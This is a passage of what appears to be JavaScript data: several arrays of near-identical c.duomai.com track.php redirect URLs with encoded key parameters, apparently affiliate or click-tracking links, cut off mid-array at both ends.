"http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmcjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmAzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmMzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmYzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmkzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmIDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmUDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmgDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd"],
    m = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDMxITPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYk92dp5mL3d3dGJTJGJTJBNTJwRHd"],
    n = ["http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmczNyUDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmEzM2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmQzM2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmczM2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmADN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmMDN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmYDN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmkDN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmITN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmUTN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmgTN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmEjN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmQjN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmcjN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmAzN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmMzN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmYzN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmkzN2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmIDO2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmUDO2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ", "http://c.duomai.com/track.php?k=kMlYkMlE0MlAHd0hWP0ZSPklWdlZiM1UTPklWYmgDO2UDOx0DZp9VZ0l2cmEjMxY2MiJTNf9Gd1FGRzUyajFmc09FelZ0Ml02bj5ich5Wdx5SYppWdkZ"],
    o = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmgTN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmEjN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmQjN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmcjN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmAzN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmMzN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmYzN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmkzN2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmIDO2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmUDO2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSMyYTPklWYmgDO2UDOx0DZp9VZ0l2cmYkMl02bj5SZppWdn9Wbuc3d3ZkMlYkMlE0MlAHd0h"],
    p = ["http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCM1QTPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbuc3d3ZkMlYkMlE0MlAHd0hWP"],
    q = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyN0QTPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJuNmLv9Gdv9Gduc3d3ZkMlYkMlE0MlAHd0h"],
    r = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmgTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmEjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmQjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmcjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmAzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmMzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmYzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmkzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmIDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmUDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmczM3ETPklWYmgDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhx2bhtmL3d3dGJTJGJTJBNTJwRHdo1"],
    s = ["http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", 